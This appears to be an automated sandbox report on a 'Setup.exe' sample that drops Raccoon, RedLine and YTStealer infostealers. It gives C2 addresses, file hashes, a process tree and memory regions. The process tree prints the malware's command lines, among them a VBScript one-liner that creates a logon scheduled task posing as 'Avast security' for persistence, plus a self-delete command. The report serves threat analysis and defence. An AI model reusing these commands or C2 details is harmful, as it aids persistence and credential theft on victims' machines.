Analysis

  • max time kernel
    152s
  • max time network
    178s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    05-10-2022 21:07

General

  • Target

    Setup.exe

  • Size

    812.1MB

  • MD5

    97432769d9c069e9d916cca622d3e136

  • SHA1

    821748178afd4e72ce68e37bca575327e2c15074

  • SHA256

    7f9684b6297bf11ba15105902412e453afd13c904e8e0121d9d8ef834b7e95d9

  • SHA512

    4641d432a53c437fed97313b8c13af504b681580d37fc25a1e7ddc1c787283d5478ea78d3adacc850f022814a14a160932e135f001096b7ab93dc7c1c3277dd7

  • SSDEEP

    6144:LDKW1Lgbdl0TBBvjc/YrWNjk2ZHXKsDDki/jsRzXN8fZfjLx7zz:/h1Lk70TnvjcAb2ZHXhF/Sz96fnx

Malware Config

Extracted

Family

raccoon

Botnet

55141fdba30e9c28fe0ae2e082b22897

C2

http://45.15.156.31/

rc4.plain

Extracted

Family

redline

C2

81.161.229.143:27938

Attributes
  • auth_value

    6687e352a0604d495c3851d248ebf06f

Signatures

  • Raccoon

    Raccoon is an infostealer written in C++ and first seen in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 2 IoCs
  • YTStealer

    YTStealer is a malware designed to steal YouTube authentication cookies.

  • YTStealer payload 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • UPX packed file 11 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 10 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1324
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1752
      • C:\Users\Admin\AppData\Local\Temp\Kifm7yt3.exe
        "C:\Users\Admin\AppData\Local\Temp\Kifm7yt3.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:708
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\build.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\build.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1944
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Avast corporation" : regInfo.Description="Avast security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\build.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Avast security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > "C:\Users\Admin\AppData\Local\Temp\tmp3CE2.vbs" & cscript //nologo "C:\Users\Admin\AppData\Local\Temp\tmp3CE2.vbs" & del /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\tmp3CE2.vbs" & exit
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1284
            • C:\Windows\system32\cscript.exe
              cscript //nologo "C:\Users\Admin\AppData\Local\Temp\tmp3CE2.vbs"
              6⤵
                PID:1600
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
            4⤵
              PID:640
          • C:\Users\Admin\AppData\Local\Temp\oi18EBP5.exe
            "C:\Users\Admin\AppData\Local\Temp\oi18EBP5.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1632
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Local\Temp\oi18EBP5.exe
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1820
              • C:\Windows\system32\choice.exe
                choice /C Y /N /D Y /T 0
                5⤵
                  PID:1924
            • C:\Users\Admin\AppData\Local\Temp\PuqKk10P.exe
              "C:\Users\Admin\AppData\Local\Temp\PuqKk10P.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:980
            • C:\Users\Admin\AppData\Local\Temp\BdVDR7cx.exe
              "C:\Users\Admin\AppData\Local\Temp\BdVDR7cx.exe"
              3⤵
              • Executes dropped EXE
              PID:960

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Credential Access

        Credentials in Files

        2
        T1081

        Discovery

        System Information Discovery

        1
        T1082

        Collection

        Data from Local System

        2
        T1005

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\BdVDR7cx.exe
          Filesize

          5.1MB

          MD5

          3e2922711ccfb0d4c63bc2e1ac3962cb

          SHA1

          c0080d77f23d9ba6aea56bf808e7047564ddff51

          SHA256

          6e4581639b79846f73463632b751fbfb6568b3f3d12d14e1cf9a9f4f818d7a56

          SHA512

          47de0b4c5a20aeb8a777f1dc8f7c3fa9264d472d229727c97a12d77ac06f99000f830c73f261d3ad529e91ef9b4dcf944263292f4e69084cd0cd66826091d8f4

        • C:\Users\Admin\AppData\Local\Temp\Kifm7yt3.exe
          Filesize

          656KB

          MD5

          449e9f0ed1595935ec02a36b6e502313

          SHA1

          65c99d85fa46e05009f363885e34586f64335f23

          SHA256

          1ac13810fc9aac7bf6f6ce4e4dcb90f69a3953d70a5d5f1ba1a054accf395024

          SHA512

          2b2b4ae1d3f0d6b45f7a6934990dbd07bf5d6b85a3ebb37fa2fcbf5e063a12a1f68677e6e0ef02a804a532cfd1f973417c7fd4edb6d9d2468f8dc290c2584e22

        • C:\Users\Admin\AppData\Local\Temp\Kifm7yt3.exe
          Filesize

          656KB

          MD5

          449e9f0ed1595935ec02a36b6e502313

          SHA1

          65c99d85fa46e05009f363885e34586f64335f23

          SHA256

          1ac13810fc9aac7bf6f6ce4e4dcb90f69a3953d70a5d5f1ba1a054accf395024

          SHA512

          2b2b4ae1d3f0d6b45f7a6934990dbd07bf5d6b85a3ebb37fa2fcbf5e063a12a1f68677e6e0ef02a804a532cfd1f973417c7fd4edb6d9d2468f8dc290c2584e22

        • C:\Users\Admin\AppData\Local\Temp\PuqKk10P.exe
          Filesize

          56KB

          MD5

          2ccf48338071a18c1a7377bf30831c8c

          SHA1

          31acd7880c6c73fe496574d082cb3a35ab1086f0

          SHA256

          5a2bd9fbb6c7cfde9dbdd52697478996129a8e7cd580f094afe747941d259718

          SHA512

          d17c486cd6ba7d66e1fb2e74e6316c61dd2c999a2dfbcb4628966ed7c6afe70d29dc43da450063b4ba046582d420ff0fc8a3a0d9da114a2536739d463a59c75d

        • C:\Users\Admin\AppData\Local\Temp\PuqKk10P.exe
          Filesize

          56KB

          MD5

          2ccf48338071a18c1a7377bf30831c8c

          SHA1

          31acd7880c6c73fe496574d082cb3a35ab1086f0

          SHA256

          5a2bd9fbb6c7cfde9dbdd52697478996129a8e7cd580f094afe747941d259718

          SHA512

          d17c486cd6ba7d66e1fb2e74e6316c61dd2c999a2dfbcb4628966ed7c6afe70d29dc43da450063b4ba046582d420ff0fc8a3a0d9da114a2536739d463a59c75d

        • C:\Users\Admin\AppData\Local\Temp\oi18EBP5.exe
          Filesize

          4.0MB

          MD5

          e4d3f5b6e53c0188e6ff2081b87cbd82

          SHA1

          a43c60c08f67a90aa6836d66de8bdf0179f4d9f8

          SHA256

          2f3c5db2ebcc3780f9507e572a26e332505905a1b9c9b3086e689ccbe463546b

          SHA512

          9ea5c68a1e9cc8409efc41edac3cc282aa27bbae59cebf382347d2a2f824d06a284f07f6455ea3c35035d89f66434a1c1078f9d0560404f8257dc84d77afb060

        • C:\Users\Admin\AppData\Local\Temp\oi18EBP5.exe
          Filesize

          4.0MB

          MD5

          e4d3f5b6e53c0188e6ff2081b87cbd82

          SHA1

          a43c60c08f67a90aa6836d66de8bdf0179f4d9f8

          SHA256

          2f3c5db2ebcc3780f9507e572a26e332505905a1b9c9b3086e689ccbe463546b

          SHA512

          9ea5c68a1e9cc8409efc41edac3cc282aa27bbae59cebf382347d2a2f824d06a284f07f6455ea3c35035d89f66434a1c1078f9d0560404f8257dc84d77afb060

        • C:\Users\Admin\AppData\Local\Temp\tmp3CE2.vbs
          Filesize

          1KB

          MD5

          557fc4a580a8b09428014e562c1be8c4

          SHA1

          4116471bcf6f4ccb784422468065d99de15dfff0

          SHA256

          efe0c611e82da6ed00e304123a50aadac6ab8e8c50ef71c02527864f906ab1ee

          SHA512

          d0c68dd3daec12820555fa79ceaf580eb202e01980623f4d4c741ee8a80a562b4f98981c1c0577fcedd6b40354b9909e99ec67051daf7ec47abcc248f559c439

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\build.exe
          Filesize

          81KB

          MD5

          6667d95c75b6d1bd114d06194bba63cf

          SHA1

          3f91ab97fbac261745b60e57a208538b00fc0bb8

          SHA256

          c6f186992f252d82f1473bfe12a4323ae0de025a73ddd19b27ceb0f68e93f695

          SHA512

          2a2469cc5e73d21ca7eba7d90c37565028b7bb913f331a49211ec208366ab2671c74e85389ae12edec10f67dd70413b766166e4cc4fe9c6c40cd5c40bae61bda

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\build.exe
          Filesize

          81KB

          MD5

          6667d95c75b6d1bd114d06194bba63cf

          SHA1

          3f91ab97fbac261745b60e57a208538b00fc0bb8

          SHA256

          c6f186992f252d82f1473bfe12a4323ae0de025a73ddd19b27ceb0f68e93f695

          SHA512

          2a2469cc5e73d21ca7eba7d90c37565028b7bb913f331a49211ec208366ab2671c74e85389ae12edec10f67dd70413b766166e4cc4fe9c6c40cd5c40bae61bda

        • \Users\Admin\AppData\LocalLow\mozglue.dll
          Filesize

          612KB

          MD5

          f07d9977430e762b563eaadc2b94bbfa

          SHA1

          da0a05b2b8d269fb73558dfcf0ed5c167f6d3877

          SHA256

          4191faf7e5eb105a0f4c5c6ed3e9e9c71014e8aa39bbee313bc92d1411e9e862

          SHA512

          6afd512e4099643bba3fc7700dd72744156b78b7bda10263ba1f8571d1e282133a433215a9222a7799f9824f244a2bc80c2816a62de1497017a4b26d562b7eaf

        • \Users\Admin\AppData\LocalLow\nss3.dll
          Filesize

          1.9MB

          MD5

          f67d08e8c02574cbc2f1122c53bfb976

          SHA1

          6522992957e7e4d074947cad63189f308a80fcf2

          SHA256

          c65b7afb05ee2b2687e6280594019068c3d3829182dfe8604ce4adf2116cc46e

          SHA512

          2e9d0a211d2b085514f181852fae6e7ca6aed4d29f396348bedb59c556e39621810a9a74671566a49e126ec73a60d0f781fa9085eb407df1eefd942c18853be5

        • \Users\Admin\AppData\LocalLow\sqlite3.dll
          Filesize

          1.0MB

          MD5

          dbf4f8dcefb8056dc6bae4b67ff810ce

          SHA1

          bbac1dd8a07c6069415c04b62747d794736d0689

          SHA256

          47b64311719000fa8c432165a0fdcdfed735d5b54977b052de915b1cbbbf9d68

          SHA512

          b572ca2f2e4a5cc93e4fcc7a18c0ae6df888aa4c55bc7da591e316927a4b5cfcbdda6e60018950be891ff3b26f470cc5cce34d217c2d35074322ab84c32a25d1

        • \Users\Admin\AppData\Local\Temp\BdVDR7cx.exe
          Filesize

          5.1MB

          MD5

          3e2922711ccfb0d4c63bc2e1ac3962cb

          SHA1

          c0080d77f23d9ba6aea56bf808e7047564ddff51

          SHA256

          6e4581639b79846f73463632b751fbfb6568b3f3d12d14e1cf9a9f4f818d7a56

          SHA512

          47de0b4c5a20aeb8a777f1dc8f7c3fa9264d472d229727c97a12d77ac06f99000f830c73f261d3ad529e91ef9b4dcf944263292f4e69084cd0cd66826091d8f4

        • \Users\Admin\AppData\Local\Temp\BdVDR7cx.exe
          Filesize

          5.1MB

          MD5

          3e2922711ccfb0d4c63bc2e1ac3962cb

          SHA1

          c0080d77f23d9ba6aea56bf808e7047564ddff51

          SHA256

          6e4581639b79846f73463632b751fbfb6568b3f3d12d14e1cf9a9f4f818d7a56

          SHA512

          47de0b4c5a20aeb8a777f1dc8f7c3fa9264d472d229727c97a12d77ac06f99000f830c73f261d3ad529e91ef9b4dcf944263292f4e69084cd0cd66826091d8f4

        • \Users\Admin\AppData\Local\Temp\Kifm7yt3.exe
          Filesize

          656KB

          MD5

          449e9f0ed1595935ec02a36b6e502313

          SHA1

          65c99d85fa46e05009f363885e34586f64335f23

          SHA256

          1ac13810fc9aac7bf6f6ce4e4dcb90f69a3953d70a5d5f1ba1a054accf395024

          SHA512

          2b2b4ae1d3f0d6b45f7a6934990dbd07bf5d6b85a3ebb37fa2fcbf5e063a12a1f68677e6e0ef02a804a532cfd1f973417c7fd4edb6d9d2468f8dc290c2584e22

        • \Users\Admin\AppData\Local\Temp\PuqKk10P.exe
          Filesize

          56KB

          MD5

          2ccf48338071a18c1a7377bf30831c8c

          SHA1

          31acd7880c6c73fe496574d082cb3a35ab1086f0

          SHA256

          5a2bd9fbb6c7cfde9dbdd52697478996129a8e7cd580f094afe747941d259718

          SHA512

          d17c486cd6ba7d66e1fb2e74e6316c61dd2c999a2dfbcb4628966ed7c6afe70d29dc43da450063b4ba046582d420ff0fc8a3a0d9da114a2536739d463a59c75d

        • \Users\Admin\AppData\Local\Temp\oi18EBP5.exe
          Filesize

          4.0MB

          MD5

          e4d3f5b6e53c0188e6ff2081b87cbd82

          SHA1

          a43c60c08f67a90aa6836d66de8bdf0179f4d9f8

          SHA256

          2f3c5db2ebcc3780f9507e572a26e332505905a1b9c9b3086e689ccbe463546b

          SHA512

          9ea5c68a1e9cc8409efc41edac3cc282aa27bbae59cebf382347d2a2f824d06a284f07f6455ea3c35035d89f66434a1c1078f9d0560404f8257dc84d77afb060

        • \Users\Admin\AppData\Local\Temp\oi18EBP5.exe
          Filesize

          4.0MB

          MD5

          e4d3f5b6e53c0188e6ff2081b87cbd82

          SHA1

          a43c60c08f67a90aa6836d66de8bdf0179f4d9f8

          SHA256

          2f3c5db2ebcc3780f9507e572a26e332505905a1b9c9b3086e689ccbe463546b

          SHA512

          9ea5c68a1e9cc8409efc41edac3cc282aa27bbae59cebf382347d2a2f824d06a284f07f6455ea3c35035d89f66434a1c1078f9d0560404f8257dc84d77afb060

        • \Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\build.exe
          Filesize

          81KB

          MD5

          6667d95c75b6d1bd114d06194bba63cf

          SHA1

          3f91ab97fbac261745b60e57a208538b00fc0bb8

          SHA256

          c6f186992f252d82f1473bfe12a4323ae0de025a73ddd19b27ceb0f68e93f695

          SHA512

          2a2469cc5e73d21ca7eba7d90c37565028b7bb913f331a49211ec208366ab2671c74e85389ae12edec10f67dd70413b766166e4cc4fe9c6c40cd5c40bae61bda

        • memory/640-125-0x0000000000400000-0x0000000000460000-memory.dmp
          Filesize

          384KB

        • memory/640-121-0x0000000000400000-0x0000000000460000-memory.dmp
          Filesize

          384KB

        • memory/640-124-0x0000000000400000-0x0000000000460000-memory.dmp
          Filesize

          384KB

        • memory/640-122-0x0000000000400000-0x0000000000460000-memory.dmp
          Filesize

          384KB

        • memory/708-120-0x0000000004D60000-0x0000000004D66000-memory.dmp
          Filesize

          24KB

        • memory/708-86-0x00000000008F0000-0x0000000000986000-memory.dmp
          Filesize

          600KB

        • memory/708-88-0x00000000004F0000-0x0000000000522000-memory.dmp
          Filesize

          200KB

        • memory/708-119-0x0000000004950000-0x000000000496A000-memory.dmp
          Filesize

          104KB

        • memory/708-113-0x0000000000B20000-0x0000000000B38000-memory.dmp
          Filesize

          96KB

        • memory/708-83-0x0000000000000000-mapping.dmp
        • memory/960-131-0x0000000000A30000-0x0000000001CF6000-memory.dmp
          Filesize

          18.8MB

        • memory/960-108-0x0000000000A30000-0x0000000001CF6000-memory.dmp
          Filesize

          18.8MB

        • memory/960-105-0x0000000000000000-mapping.dmp
        • memory/980-101-0x00000000003E0000-0x00000000003E6000-memory.dmp
          Filesize

          24KB

        • memory/980-96-0x0000000000000000-mapping.dmp
        • memory/980-100-0x0000000000290000-0x00000000002A4000-memory.dmp
          Filesize

          80KB

        • memory/1284-127-0x0000000000000000-mapping.dmp
        • memory/1324-61-0x000000006D8F0000-0x000000006DE9B000-memory.dmp
          Filesize

          5.7MB

        • memory/1324-59-0x0000000000000000-mapping.dmp
        • memory/1324-62-0x000000006D8F0000-0x000000006DE9B000-memory.dmp
          Filesize

          5.7MB

        • memory/1324-63-0x000000006D8F0000-0x000000006DE9B000-memory.dmp
          Filesize

          5.7MB

        • memory/1600-128-0x0000000000000000-mapping.dmp
        • memory/1632-97-0x0000000000A80000-0x0000000001859000-memory.dmp
          Filesize

          13.8MB

        • memory/1632-91-0x0000000000000000-mapping.dmp
        • memory/1632-110-0x0000000000A80000-0x0000000001859000-memory.dmp
          Filesize

          13.8MB

        • memory/1664-55-0x0000000002230000-0x0000000002288000-memory.dmp
          Filesize

          352KB

        • memory/1664-56-0x0000000004840000-0x0000000004896000-memory.dmp
          Filesize

          344KB

        • memory/1664-57-0x00000000058C0000-0x000000000596C000-memory.dmp
          Filesize

          688KB

        • memory/1664-58-0x0000000005AE0000-0x0000000005B72000-memory.dmp
          Filesize

          584KB

        • memory/1664-54-0x0000000074AD1000-0x0000000074AD3000-memory.dmp
          Filesize

          8KB

        • memory/1752-65-0x0000000000400000-0x0000000000414000-memory.dmp
          Filesize

          80KB

        • memory/1752-69-0x0000000000400000-0x0000000000414000-memory.dmp
          Filesize

          80KB

        • memory/1752-77-0x0000000000400000-0x0000000000414000-memory.dmp
          Filesize

          80KB

        • memory/1752-75-0x0000000000400000-0x0000000000414000-memory.dmp
          Filesize

          80KB

        • memory/1752-94-0x0000000003C90000-0x0000000004A69000-memory.dmp
          Filesize

          13.8MB

        • memory/1752-73-0x0000000000408597-mapping.dmp
        • memory/1752-107-0x0000000000400000-0x0000000000414000-memory.dmp
          Filesize

          80KB

        • memory/1752-72-0x0000000000400000-0x0000000000414000-memory.dmp
          Filesize

          80KB

        • memory/1752-70-0x0000000000400000-0x0000000000414000-memory.dmp
          Filesize

          80KB

        • memory/1752-81-0x0000000000400000-0x0000000000414000-memory.dmp
          Filesize

          80KB

        • memory/1752-67-0x0000000000400000-0x0000000000414000-memory.dmp
          Filesize

          80KB

        • memory/1752-93-0x0000000003C90000-0x0000000004A69000-memory.dmp
          Filesize

          13.8MB

        • memory/1752-64-0x0000000000400000-0x0000000000414000-memory.dmp
          Filesize

          80KB

        • memory/1820-109-0x0000000000000000-mapping.dmp
        • memory/1924-111-0x0000000000000000-mapping.dmp
        • memory/1944-126-0x000007FEFB591000-0x000007FEFB593000-memory.dmp
          Filesize

          8KB

        • memory/1944-118-0x0000000000830000-0x000000000084A000-memory.dmp
          Filesize

          104KB

        • memory/1944-115-0x0000000000000000-mapping.dmp